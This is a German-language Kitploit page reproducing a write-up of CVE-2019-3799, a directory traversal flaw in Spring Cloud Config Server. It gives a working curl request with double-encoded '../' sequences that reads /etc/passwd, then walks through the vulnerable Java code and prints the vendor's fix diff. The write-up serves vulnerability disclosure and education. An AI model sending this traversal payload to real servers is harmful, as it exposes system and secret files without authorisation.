Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-3799 — CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6 | Kitploit
Tools/GitHubGitHub/mpgn/cve-2019-3799
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubmpgn/cve-2019-3799

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6

Repository anzeigen
3152vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-3799 - Spring-Cloud-Config-Server Verzeichnis-Traversal < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server ist anfällig für einen Directory Traversal / Path Traversal / File Content Disclosure < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config, Versionen 2.1.x vor 2.1.2, Versionen 2.0.x vor 2.0.4 und Versionen 1.4.x vor 1.4.6 sowie ältere nicht unterstützte Versionen erlauben es Anwendungen, beliebige Konfigurationsdateien über das spring-cloud-config-server-Modul bereitzustellen. Ein böswilliger Benutzer oder Angreifer kann eine Anfrage mit einer speziell gestalteten URL senden, die zu einem Directory-Traversal-Angriff führen kann.

capture d'écran_1

Gefunden von Vern ([email protected])

Sicherheitshinweis

  • https://pivotal.io/security/cve-2019-3799
  • https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

Technische Analyse

  • https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

Proof of Concept

  1. Laden Sie eine angreifbare Version von Spring Cloud Config herunter
https://github.com/spring-cloud/spring-cloud-config
  • Führen Sie die Anwendung aus
  • root@kitploit:~
    cd spring-cloud-config-server                                                                                                                                                                     
    ../mvnw spring-boot:run
    
    1. Exploit
    root@kitploit:~
    curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    

    Die Schwachstelle

    Wie immer finden wir durch das Lesen der Dokumentation die relevanten Informationen:

    Bereitstellung von Klartextdateien: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

    Der Config Server stellt diese über einen zusätzlichen Endpunkt unter /{name}/{profile}/{label}/{path} bereit, wobei "name", "profile" und "label" die gleiche Bedeutung wie der normale Umgebungsendpunkt haben, "path" jedoch ein Dateiname ist (z.B. log.xml).

    Der Server stellt diese über einen zusätzlichen Endpunkt unter /{name}/{profile}/{label}/{path} bereit.

    Eine weitere interessante Information aus der Dokumentation:

    Bei VCS-basierten Backends (git, svn) werden Dateien auf das lokale Dateisystem ausgecheckt oder geklont. Standardmäßig werden sie im temporären Verzeichnis des Systems mit einem Präfix von config-repo- abgelegt. Unter Linux könnte es beispielsweise /tmp/config-repo- sein.

    Was passiert, wenn wir http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd senden?

    1. Die Anfrage wird gemappt mit
    root@kitploit:~
    @RequestMapping("/{name}/{profile}/{label}/**")
    public String retrieve(@PathVariable String name, @PathVariable String profile,
        @PathVariable String label, ServletWebRequest request,
        @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
        throws IOException {
      String path = getFilePath(request, name, profile, label);
      return retrieve(request, name, profile, label, path, resolvePlaceholders);
    }
    
    1. Die Funktion retrieve ruft die Funktion findOne auf
    root@kitploit:~
    synchronized String retrieve(ServletWebRequest request, String name, String profile,
        String label, String path, boolean resolvePlaceholders) throws IOException {
      name = resolveName(name);
      label = resolveLabel(label);
      Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
      if (checkNotModified(request, resource)) {
        // Content was not modified. Just return.
        return null;
      }
      // ensure InputStream will be closed to prevent file locks on Windows
      try (InputStream is = resource.getInputStream()) {
        String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
        if (resolvePlaceholders) {
          Environment environment = this.environmentRepository.findOne(name,
              profile, label);
          text = resolvePlaceholders(prepareEnvironment(environment), text);
        }
        return text;
      }
    }
    
    1. Die Funktion findOne wird aufgerufen:
    root@kitploit:~
    public synchronized Resource findOne(String application, String profile, String label, String path) {
      if (StringUtils.hasText(path)) {
        String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
        try {
          for (int i = locations.length; i-- > 0; ) {
            String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
            for (String local : getProfilePaths(profile, path)) {
                Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
                if (file.exists() && file.isReadable()) {
                    return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
                }
              }
            }
          }
        }
        catch (IOException e) {
            throw new NoSuchResourceException(
                    "Error : " + path + ". (" + e.getMessage() + ")");
        }
      }
      throw new NoSuchResourceException("Not found: " + path);
    }
    
    1. Dann liest die Funktion retrieve die Datei mit StreamUtils.copyToString(is, Charset.forName("UTF-8"), was /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd in /etc/passwd umwandelt, was zur Offenlegung der Datei /etc/passwd führt.

    capture d'écran_4


    Fix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

    capture d'écran

    root@kitploit:~
    From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
    From: Spencer Gibb <[email protected]>
    Date: Tue, 2 Apr 2019 14:16:10 -0400
    Subject: [PATCH] Cleans invalid paths
    
    fixes gh-1355
    ---
     .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
     .../GenericResourceRepositoryTests.java       |  18 ++
     2 files changed, 170 insertions(+), 13 deletions(-)
    
    diff --git a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
    index 1d7b9d117..0f3a071cb 100644
    --- a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
    +++ b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
    @@ -17,14 +17,20 @@
     package org.springframework.cloud.config.server.resource;
     
     import java.io.IOException;
    +import java.io.UnsupportedEncodingException;
    +import java.net.URLDecoder;
     import java.util.Collection;
     import java.util.LinkedHashSet;
     import java.util.Set;
     
    +import org.apache.commons.logging.Log;
    +import org.apache.commons.logging.LogFactory;
    +
     import org.springframework.cloud.config.server.environment.SearchPathLocator;
     import org.springframework.context.ResourceLoaderAware;
     import org.springframework.core.io.Resource;
     import org.springframework.core.io.ResourceLoader;
    +import org.springframework.util.ResourceUtils;
     import org.springframework.util.StringUtils;
     
     /**
    @@ -35,6 +41,8 @@
     public class GenericResourceRepository
     		implements ResourceRepository, ResourceLoaderAware {
     
    +	private static final Log logger = LogFactory.getLog(GenericResourceRepository.class);
    +
     	private ResourceLoader resourceLoader;
     
     	private SearchPathLocator service;
    @@ -51,22 +59,28 @@ public void setResourceLoader(ResourceLoader resourceLoader) {
     	@Override
     	public synchronized Resource findOne(String application, String profile, String label,
     			String path) {
    -		String[] locations = this.service.getLocations(application, profile, label).getLocations();
    -		try {
    -			for (int i = locations.length; i-- > 0;) {
    -				String location = locations[i];
    -				for (String local : getProfilePaths(profile, path)) {
    -					Resource file = this.resourceLoader.getResource(location)
    -							.createRelative(local);
    -					if (file.exists() && file.isReadable()) {
    -						return file;
    +
    +		if (StringUtils.hasText(path)) {
    +			String[] locations = this.service.getLocations(application, profile, label)
    +					.getLocations();
    +			try {
    +				for (int i = locations.length; i-- > 0; ) {
    +					String location = locations[i];
    +					for (String local : getProfilePaths(profile, path)) {
    +						if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
    +							Resource file = this.resourceLoader.getResource(location)
    +									.createRelative(local);
    +							if (file.exists() && file.isReadable()) {
    +								return file;
    +							}
    +						}
     					}
     				}
     			}
    -		}
    -		catch (IOException e) {
    -			throw new NoSuchResourceException(
    -					"Error : " + path + ". (" + e.getMessage() + ")");
    +			catch (IOException e) {
    +				throw new NoSuchResourceException(
    +						"Error : " + path + ". (" + e.getMessage() + ")");
    +			}
     		}
     		throw new NoSuchResourceException("Not found: " + path);
     	}
    @@ -94,4 +108,129 @@ public synchronized Resource findOne(String application, String profile, String
     		return paths;
     	}
     
    +	/**
    +	 * Check whether the given path contains invalid escape sequences.
    +	 * @param path the path to validate
    +	 * @return {@code true} if the path is invalid, {@code false} otherwise
    +	 */
    +	private boolean isInvalidEncodedPath(String path) {
    +		if (path.contains("%")) {
    +			try {
    +				// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars
    +				String decodedPath = URLDecoder.decode(path, "UTF-8");
    +				if (isInvalidPath(decodedPath)) {
    +					return true;
    +				}
    +				decodedPath = processPath(decodedPath);
    +				if (isInvalidPath(decodedPath)) {
    +					return true;
    +				}
    +			}
    +			catch (IllegalArgumentException | UnsupportedEncodingException ex) {
    +				// Should never happen...
    +			}
    +		}
    +		return false;
    +	}
    +
    +	/**
    +	 * Process the given resource path.
    +	 * <p>The default implementation replaces:
    +	 * <ul>
    +	 * <li>Backslash with forward slash.
    +	 * <li>Duplicate occurrences of slash with a single slash.
    +	 * <li>Any combination of leading slash and control characters (00-1F and 7F)
    +	 * with a single "/" or "". For example {@code "  / // foo/bar"}
    +	 * becomes {@code "/foo/bar"}.
    +	 * </ul>
    +	 * @since 3.2.12
    +	 */
    +	protected String processPath(String path) {
    +		path = StringUtils.replace(path, "\\", "/");
    +		path = cleanDuplicateSlashes(path);
    +		return cleanLeadingSlash(path);
    +	}
    +
    +
    +	private String cleanDuplicateSlashes(String path) {
    +		StringBuilder sb = null;
    +		char prev = 0;
    +		for (int i = 0; i < path.length(); i++) {
    +			char curr = path.charAt(i);
    +			try {
    +				if ((curr == '/') && (prev == '/')) {
    +					if (sb == null) {
    +						sb = new StringBuilder(path.substring(0, i));
    +					}
    +					continue;
    +				}
    +				if (sb != null) {
    +					sb.append(path.charAt(i));
    +				}
    +			}
    +			finally {
    +				prev = curr;
    +			}
    +		}
    +		return sb != null ? sb.toString() : path;
    +	}
    +
    +
    +	private String cleanLeadingSlash(String path) {
    +		boolean slash = false;
    +		for (int i = 0; i < path.length(); i++) {
    +			if (path.charAt(i) == '/') {
    +				slash = true;
    +			}
    +			else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
    +				if (i == 0 || (i == 1 && slash)) {
    +					return path;
    +				}
    +				return (slash ? "/" + path.substring(i) : path.substring(i));
    +			}
    +		}
    +		return (slash ? "/" : "");
    +	}
    +
    +
    +	/**
    +	 * Identifies invalid resource paths. By default rejects:
    +	 * <ul>
    +	 * <li>Paths that contain "WEB-INF" or "META-INF"
    +	 * <li>Paths that contain "../" after a call to
    +	 * {@link org.springframework.util.StringUtils#cleanPath}.
    +	 * <li>Paths that represent a {@link org.springframework.util.ResourceUtils#isUrl
    +	 * valid URL} or would represent one after the leading slash is removed.
    +	 * </ul>
    +	 * <p><strong>Note:</strong> this method assumes that leading, duplicate '/'
    +	 * or control characters (e.g. white space) have been trimmed so that the
    +	 * path starts predictably with a single '/' or does not have one.
    +	 * @param path the path to validate
    +	 * @return {@code true} if the path is invalid, {@code false} otherwise
    +	 * @since 3.0.6
    +	 */
    +	protected boolean isInvalidPath(String path) {
    +		if (path.contains("WEB-INF") || path.contains("META-INF")) {
    +			if (logger.isWarnEnabled()) {
    +				logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
    +			}
    +			return true;
    +		}
    +		if (path.contains(":/")) {
    +			String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
    +			if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
    +				if (logger.isWarnEnabled()) {
    +					logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
    +				}
    +				return true;
    +			}
    +		}
    +		if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
    +			if (logger.isWarnEnabled()) {
    +				logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
    +			}
    +			return true;
    +		}
    +		return false;
    +	}
     }
    diff --git a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
    index 7262a4ce4..1db865aee 100644
    --- a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
    +++ b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
    @@ -18,15 +18,19 @@
     
     import org.junit.After;
     import org.junit.Before;
    +import org.junit.Rule;
     import org.junit.Test;
    +import org.junit.rules.ExpectedException;
     
     import org.springframework.boot.WebApplicationType;
     import org.springframework.boot.builder.SpringApplicationBuilder;
    +import org.springframework.boot.test.rule.OutputCapture;
     import org.springframework.cloud.config.server.environment.NativeEnvironmentProperties;
     import org.springframework.cloud.config.server.environment.NativeEnvironmentRepository;
     import org.springframework.cloud.config.server.environment.NativeEnvironmentRepositoryTests;
     import org.springframework.context.ConfigurableApplicationContext;
     
    +import static org.hamcrest.Matchers.containsString;
     import static org.junit.Assert.assertNotNull;
     
     /**
    @@ -35,6 +39,12 @@
      */
     public class GenericResourceRepositoryTests {
     
    +	@Rule
    +	public OutputCapture output = new OutputCapture();
    +
    +	@Rule
    +	public ExpectedException exception = ExpectedException.none();
    +
     	private GenericResourceRepository repository;
     	private ConfigurableApplicationContext context;
     	private NativeEnvironmentRepository nativeRepository;
    @@ -79,4 +89,12 @@ public void locateMissingResource() {
     		assertNotNull(this.repository.findOne("blah", "default", "master", "foo.txt"));
     	}
     
    +	@Test
    +	public void invalidPath() {
    +		this.exception.expect(NoSuchResourceException.class);
    +		this.nativeRepository.setSearchLocations("file:./src/test/resources/test/{profile}");
    +		this.repository.findOne("blah", "local", "master", "..%2F..%2Fdata-jdbc.sql");
    +		this.output.expect(containsString("Path contains \"../\" after call to StringUtils#cleanPath"));
    +	}
    +
     }
    
    Tool herunterladen